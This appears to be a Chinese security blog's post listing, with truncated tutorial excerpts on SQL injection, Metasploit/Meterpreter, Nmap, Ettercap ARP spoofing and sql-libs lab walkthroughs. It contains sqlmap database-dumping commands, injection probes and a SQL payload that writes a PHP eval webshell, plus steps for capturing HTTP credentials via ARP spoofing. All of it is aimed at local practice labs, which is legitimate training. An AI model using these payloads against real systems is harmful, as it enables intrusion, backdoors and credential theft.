SQL注入之类型及POST注入
一. SQL注入类型1. 前景回顾我们在第一篇文章简单的提到过几个,分别是:
字符型和数字型注入
混合式括号注入
GET和POST注入
我们这篇文章会比较系统的讲一下SQL注入的类型到底有哪些,是怎么分的
2. 确认注入方式(1) 确定基本请求方式拿到一个网页,我们应该最先判断他是什么请求类型,然后决定是用GET注入还是POST注入
除此之外,还要看一下它的请求头是不是在页面上有显示。有些网站上会记录你的IP地址,UA等等,比如这样
可以看到这里会记录你的浏览器类型,也就是UA。
还有的是记录cookies,记录IP地址,记录其他的等等,我们把这个叫做请求头注入
总结一下,首先应该是去判断是用GET注入,POST注入还是请求头注入
(2) 确认参数注入位置不管是GET注入,POST注入还是请求头注入,他们都有一个共同点,那就是都有参数。
GET注入的参数,也就是我们之前常见的,id=?,这个id就是参数,在URL上,比如这样。
使用GET注入直接在URL上改就行了
POST注入的参数在抓包的表单里,一般出现在注册啊,登录啊,忘记密码啊等等地方,比如这样:
在页面上我们可以输入 ...
SQL注入之MYSQL注入
这篇文章是第一篇文章的扩展
第一篇文章:SQL 注入之简要 SQL 注入
一. MySQL 数据库注入1. 数据库概念我们这里要说一个数据库的概念
数据库有很多种,比如现在常见的 MySQL,MongoDB 等数据库
我们第一篇文章用的就是 MySQL 数据库。
不过虽然数据库的种类繁多,但是他们的 SQL 语法是类似的,基本上没啥变化,因为如果一个数据库一个对应语法的话,它的学习成本就太高了,市面上这么多数据库,都学的话不知道要学到啥时候。
不过他们既然是不同的数据库,那么就会有一些自己特有的属性,这些我们之后会讲。
那么数据库是来干啥的?
我们在第一篇文章,通过对 URL 参数进行操作,来对数据库进行操作,从而让我们想要的数据出现在页面上。
所以数据库就是来放数据的一个地方。
我们这里要注意一个东西,这个数据是啥?是图片?是一个文件?还是一个表?还是其他的东西。
如果你看了这篇文章:SQL 注入介绍与靶场实战 | Trtyr’s Blog,你应该知道,我们这里的数据是一个一个表。
我们把图片,视频,字体等等这些文件,叫做媒体文件;而你的密码,你的博客文章内容,你的友链信息等等是以表 ...
SQL注入之简要SQL注入
请先看:
SQL注入介绍与靶场实战 | Trtyr’s Blog
先把这篇文章看了,主要是了解一下SQL语法,还有一些特殊库的用法
一. SQL注入1. SQL注入的危害这个危害主要是分为两块。
大部分的SQL注入都是对数据库里的内容进行操作,包括一些查询,更新和删除等等,即数据库的内容会被SQL注入所影响到,SQL注入能够操作数据,凡是和数据相关的目的,可以用SQL注入来进行操作。
还有一种,SQL注入可以注入一些木马后门,就是常说的get web shell,获取权限,但是这种直接获取权限的情况是分条件的,也就是注入点的权限不同
2. SQL注入产生的原理(1) 源码简单分析我们拿一个代码来看看,这里用的是SQL-libs靶场的第二题源码做演示
可以看到这是一个PHP写的一个网页,你们不用知道这是啥意思,能简单看懂就行了。
我们看看
这里的:
123if(isset($_GET['id'])) // 这玩意就是参数,意味着网站后面要加上id参数{ $id=$_GET['id']; // 这里是用一个叫id的变量,来接收参数 ...
TCP三次握手与四次挥手
一. TCP协议简介TCP是传输层的协议,传输层的作用是:
定义应用层数据报文的端口号
流量控制
对原始数据进行分段处理
纠错
1. 传输层(1) 传输层所提供的服务传输连接服务
数据传输服务:浏览控制、差错控制,序列控制
(2) 传输层协议面向连接的传输协议 - TCP
用户数据报协议 - UDP
2. 传输层的TCP协议TCP要求数据在传输以前必须建立连接(三次握手);数据传输完成后,必须释放连接(四次挥手),而且它仅支持单播传输:在两个终端之间建立的点对点的连接
二. TCP数据包我们在kali一个http服务,然后用win7去访问它
kali IP:192.168.40.129
win7 IP:192.168.40.135
我们抓个包看看,抓到后我们看TCP的报文
1. 前面的一些报文
我们可以看到192.68.40.135和192.168.40.129这两个IP之间搭建了TCP连接
我们打开一个报文看看
可以看到,TCP报文里有一个发送的端口号49189,接收方的端口号80.
往下有一个Sequence Number(raw),这个是真实的序列,然后有raw和没有r ...
内网穿透介绍学习 - 端口转发
一. 内网穿透原理1. 内网穿透利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
1)端口转发:将发往外网某个端口的数据完全转发给内网,是外网到内网的单向通信。
2)端口映射:将内网IP的某个端口映射到公网IP的某个端口,实现通过公网IP+端口直接正向访问内网,端口映射实现双向通信
2. 隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。
红队在进攻的时候,需要在复杂的内容中获取稳定的流量交互,以达到目的。
攻击者通常会采用各种内网穿透技术建立隧道,从不同网络协议层对出口屏蔽或拦截进行绕过。
进行内网渗透常用的隧道技术有DNS隧道、HTTP隧道、SSH隧道、ICMP隧道等容易被网络防火墙放行的协议。
1)网络层隧道:IPV6隧道、ICMP隧道、GRE隧道,其中常用的隧道技术是ICMP隧道技术。
2)传输层隧道:主要有TCP、UDP协议,因此隧道搭建也是基于这两种协议进行的。常用的隧道搭建工具有netcat、 powercat等。
3)应用层隧道:应用层位于TCP/IP协议的最顶层,通常用于搭建各种应用服务,而基于应用层搭建 ...
MSF渗透测试框架介绍
一. MSF1. MSF介绍MSF全称Metasploit,是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以 “可以黑掉整个宇宙” 之名的强大渗透测试框架。
Metasploit是一款开源的渗诱测过框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具。
模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。
选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。
MSF安装使用MSF在kail中已经内置好了,直接在kail命令行中输入msfconsole就可以使用了。
MSF在kali中的更新配置源,kali的更新,kali软件包的更新等等,这里就不多介绍了。
我们在命令行输入这个命令
1apt-get install metasploit-framework
问我们是否继续执行,输入 ‘y’
开始进行安装了。等待完成即可。
2. MSF图形化Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术 ...
Meterpreter相关介绍
一. Meterpreter是什么当我们利用MSF生成了一个木马,并且在靶机上运行后,我们的MSF会进入如下的一个界面
我们进入一个meterpreter的命令行。
我们建立了一个木马链接,这在MSF中叫做一个session,第一个建立的连接就是 session 1;如果你又建立了一个连接或者漏洞利用进程,它就是session 2.
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用。
攻击荷在触发漏洞后会返回-个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。
Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。
除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。
二. Meterpreter中常用的反弹类型
reverse tcp
...
Nmap扫描基础与进阶
一. 基础功能1. 扫描IP地址12nmap -sn -PE -n 192.168.31.0/24nmap -sn -PE -n 192.168.31.1-255
这俩是一样的。
-sn 参数代表了ping扫描,即主机发现
-PE代表只使用ICMP echo请求探测,不然在虚拟机中会出现全部存活的情况
-n是禁用域名解析,避免浪费时间在域名解析上。
这个的意思是扫描 192.168.31.0 这个网段中存活(在线)的设备。
这里第一个 192.168.31.1 是我的网关,其他的是我的无线设备。
2. 扫描端口号基于SYN包扫描
1nmap -sS 192.168.211.184
基于三次握手扫描
1nmap -sT 192.168.211.184
可以看到目标IP中,135,139,445这三个端口处于open状态。
3. 指定端口扫描正常情况下,是不需要扫描所有端口的。我们可以指定端口来进行扫描
12nmap -p 10-200 192.168.31.114 // 扫描192.168.31.114的10到200之间的端口号nmap -p 21,22,25,80,445,3306 ...
Ettercap使用教程(ARP,ICMP,DNS)
一. 软件界面介绍1. 进入软件时的设置在kali中内置了这个工具的图形化界面
我们打开这个工具
我们设置好后点击上面的勾进入即可
2. 主要界面
我们点击搜索主机,然后点击主机列表
当然你也可以右击列表中的主机进行操作
3. 攻击设置界面我们来看一下攻击模式中的内容
二. ARP欺骗与ARP攻击我们先扫主机,得到主机列表,然后将目标网关添加到目标1,目标IP添加到目标2
1. 断网攻击我们打开ARP攻击,停止扫描
我们在被攻击的主机上访问一下外网
可以看到,被攻击方在网络正常的情况下无法访问外网了。
2. 数据窃取(HTTP)我们可以来获取http网站上输入的账号和密码。
打开ARP攻击,打开扫描
我们找到一个http的网站,比如7K7K.com
我登录输入一个随便的账号密码
得到信息。
3. 数据窃取(HTTPS)窃取HTTPS目前已经不太现实,这里仅供参考。
想要获取https的话,我们需要另一个工具sslstrip,它可以把https降成http。
我们还需要启用Ettercap的脚本。
我们通过Vim来进行编辑
1vim /etc/ettercap/etter ...
SQLmap过sql-libs靶场Page-1(1-22)
1. Less-1(1) 查看数据库1sqlmap -u "http://192.168.1.3/sql-libs/Less-1/?id=1" -dbs
得到这几个数据库
(2) 查看数据表比如我们想看security这个数据库下有什么表
1sqlmap -u "http://192.168.1.3/sql-libs/Less-1/?id=1" -D security --tables
(3) 查看表中字段我们看users表下的字段内容
1sqlmap -u "http://192.168.1.3/sql-libs/Less-1/?id=1" -D security -T users --columns
(4) 查看字段值查看security数据库下的users表里的id、password、username有哪些值
1sqlmap -u http://192.168.1.3/sql-libs/Less-1/?id=1 -D security -T users --columns id,password,username ...
sql-libs靶场Page-3(38-53)教程
请先过page-1和page-2
1. Less-38又是需要写木马
11';select '<?php @eval($_POST[x])?>' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-38\\test.php'%23
把木马写到目录下,密码是x
然后用蚁剑连上去就行了
成功!
2. Less-39注入点:
11 and 1=2
order by 获取字段数,然后联合注入一下就行
3. Less-40注入点:
11') and 1=2 ;00
然后order by。联合注入
4. Less-41和39题一样
5. Less-42这个有点像24题啊,但是它只能进行登录,注册和密码都用不了。
我们随便输入一个账号密码登录进去发现会到达一个固定的页面。
我们密码和账号输入,因为我懒得去判断是账号存在还是密码存在
1123456'
发现有报错
说明存在注入。
我们输入
1123456' #
报错没有了
说明这 ...
sql-libs靶场Page-2(21-38)教程
请先过page1
1. Less-21登录进去感觉好像和上一道题一样。
我们抓一下包
哎,这个cookie
加密了一次,这应该是base64加密,我们解一下试试
![]\media\2023\02\SQL-Libs靶场Page-11-22教程64.webp)
我们现在的思路就是,把SQL语句加密一次,然后再传参。
注入方式是单引号括号注入
11') #
我们找字段数
这样得到加密数据
得到显错位,然后就简单了,联合注入就行了。
2. Less-22和上一道一样,单引号变双引号就行了。
3. Less-23这道题我们正常的注入后发现不太对劲
首先是只有单引号,单引号加注释这两种情况才有报错,所以单引号应该是没有问题的,有问题的是注释。
我们试了一下常规的注释 -- 和 # 这两个都不行,尝试一下特殊的注释 %00
成功。
接下来就正常了
联合注入就能搞。
4. Less-24这道题的目的是,已知用户账号,但是不知道密码的情况下,修改目标密码并修改。
现在我们修改Dumb用户。
我们点击注册新账号
进到一个界面,我们注册用户名为Dumb' # ,密码是123 ...